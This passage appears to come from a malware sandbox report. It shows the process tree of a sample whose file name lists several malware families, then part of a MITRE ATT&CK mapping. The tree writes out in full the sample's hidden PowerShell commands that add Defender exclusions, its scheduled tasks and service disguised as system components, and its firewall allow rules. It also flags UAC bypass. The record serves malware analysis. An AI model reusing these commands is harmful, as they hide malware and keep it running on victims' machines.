  "schtasks.exe" /Delete /TN "SystemSoundsService_a2ae83d4" /F
  2⤵
  PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4200
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "SystemSoundsService_a2ae83d4" /XML "C:\Users\Admin\AppData\Local\Temp\7fe99125-543f-416b-9c20-a15e7d65697f.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1476
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_9f2e0056" /F
  2⤵
  PID:4176
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_9f2e0056" /XML "C:\Users\Admin\AppData\Local\Temp\26eb29d6-8b4f-47c9-9216-b4047014eafa.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2068
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "CCleanerSkipUAC_986860cc" /F
  2⤵
  PID:1524
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "CCleanerSkipUAC_986860cc" /XML "C:\Users\Admin\AppData\Local\Temp\52dd0a19-2c20-4fb6-8e8e-b434a48f62be.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2256
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_c680be2e" /F
  2⤵
  PID:1324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4444
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "FamilySafetyRefreshTask_c680be2e" /XML "C:\Users\Admin\AppData\Local\Temp\c416fb1c-71d2-41c9-b88b-596c1308febb.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4556
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_9c5bbe33" /F
  2⤵
  PID:3992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:220
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_9c5bbe33" /XML "C:\Users\Admin\AppData\Local\Temp\aac4d13f-951b-4d4d-acb1-9af8a1f304a6.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4120
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "User_Feed_Synchronization-f4397069-33bd-4d83-8693-9d40eab6a460" /F
  2⤵
  PID:1544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Holy Check.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4512
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "User_Feed_Synchronization-f4397069-33bd-4d83-8693-9d40eab6a460" /XML "C:\Users\Admin\AppData\Local\Temp\d4520892-399d-417c-aa7b-a31cc5777544.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4904
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 10 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 10 /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\System32\BootFiles\BootExecutor.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Speech_OneCore\Engines\TTS\ru-RU' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'M1004NUS.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'Holy Check.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3380
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" netsh advfirewall firewall add rule name="WindowsControl" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
  2⤵
  PID:3728
- C:\Windows\SYSTEM32\CMD.exe
  "CMD" /c schtasks /delete /F /TN "Holy Check" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4320
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /F /TN "Holy Check"
    3⤵
    PID:2184
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:848
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:708
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4688
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3828
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2496
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2568
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3436
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3264
- C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
  "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender TamperProtection settings
  - UAC bypass
  - Executes dropped EXE
  - Registers new Windows logon scripts automatically executed at logon.
  - Windows security modification
  - Checks whether UAC is enabled
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4584
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:1628
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:5040
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:932
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
    3⤵
    - Launches sc.exe
    PID:4564
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "FamilySafetyMonitor_0ad52b3b" /F
    3⤵
    PID:368
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c schtasks /delete /F /TN "Holy Check" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4712
  - - C:\Windows\system32\schtasks.exe
      schtasks /delete /F /TN "Holy Check"
      4⤵
      PID:1156
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2660
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnLock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4348
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5112
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnUnlock" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onunlock /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3524
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1820
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_OnIdle" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onidle /i 5 /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4884
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance" & exit
    3⤵
    - Executes a command shell one-liner
    PID:756
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /tn "Holy Check_Evt4624" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" /sc onevent /ec Security /mo "*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and EventID=4624]]" /rl highest /ru "Admin" /desc "Windows component maintenance"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4196
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "FamilySafetyMonitor_0ad52b3b" /XML "C:\Users\Admin\AppData\Local\Temp\91138348-e94e-4acc-a8d1-350536500643.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3416
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "FamilySafetyRefreshTask_655d8050" /F
    3⤵
    PID:2716
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "FamilySafetyRefreshTask_655d8050" /XML "C:\Users\Admin\AppData\Local\Temp\30b80fc8-d120-46c0-8b99-75fc9637b2ac.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3424
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore_f5f9190e" /F
    3⤵
    PID:3264
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "MicrosoftEdgeUpdateTaskMachineCore_f5f9190e" /XML "C:\Users\Admin\AppData\Local\Temp\72623b9d-c3f3-4849-bbad-669e85d64520.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1748
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_a825485d" /F
    3⤵
    PID:2068
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_a825485d" /XML "C:\Users\Admin\AppData\Local\Temp\62f94fb6-8925-47c9-9f0b-f90c537e2d54.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3700
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "StartupAppTask_349a88b4" /F
    3⤵
    PID:3900
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "StartupAppTask_349a88b4" /XML "C:\Users\Admin\AppData\Local\Temp\517a8b5b-b2d6-45b8-9488-f518706a9d22.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3144
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Delete /TN "Adobe Acrobat Update Task_dac322fd" /F
    3⤵
    PID:1548
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /Create /TN "Adobe Acrobat Update Task_dac322fd" /XML "C:\Users\Admin\AppData\Local\Temp\e912cb53-965f-4585-9e22-d7095594524c.xml" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1884

C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
C:\Users\Admin\AppData\Local\Temp\2026-08-10_7438b94a26992e51bd310fc682ff7a2f_amadey_cobalt-strike_darkgate_glassworm_icedid.exe
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1196

C:\Windows\System32\BootFiles\BootExecutor.exe
C:\Windows\System32\BootFiles\BootExecutor.exe
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:1828
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\System32\BootFiles\BootExecutor.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  PID:3524
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Windows\System32\BootFiles\BootExecutor.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3808
- C:\Windows\system32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:4884
- C:\Windows\system32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Windows\System32\BootFiles\BootExecutor.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:4564
- C:\Windows\system32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:4856
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_e1a40688" /F
  2⤵
  PID:2528
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_e1a40688" /XML "C:\Users\Admin\AppData\Local\Temp\bc89b01f-d60c-4d0f-ae2a-f5a79c7fc288.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2496
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_6a187805" /F
  2⤵
  PID:1032
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_6a187805" /XML "C:\Users\Admin\AppData\Local\Temp\dacbfb6e-44fe-4f54-a6b2-47b8da4418b7.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3376
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "FamilySafetyMonitor_8b3cb60d" /F
  2⤵
  PID:2056
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "FamilySafetyMonitor_8b3cb60d" /XML "C:\Users\Admin\AppData\Local\Temp\a7613820-1740-44eb-81d5-bcf9c06d6227.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3900
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_b7ef3c0d" /F
  2⤵
  PID:3600
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_b7ef3c0d" /XML "C:\Users\Admin\AppData\Local\Temp\1ed15887-7322-4610-9d80-88cbeb70639b.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2536
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Delete /TN "ProgramDataUpdater_104437af" /F
  2⤵
  PID:2940
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /Create /TN "ProgramDataUpdater_104437af" /XML "C:\Users\Admin\AppData\Local\Temp\72ead88e-2e2d-4d4e-acee-29f21c4afb4d.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4276
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe" & exit
  2⤵
  - Executes a command shell one-liner
  PID:536
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /tn "Holy Check" /tr "C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3408

C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3320

C:\Windows\System32\BootFiles\BootExecutor.exe
C:\Windows\System32\BootFiles\BootExecutor.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:884

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry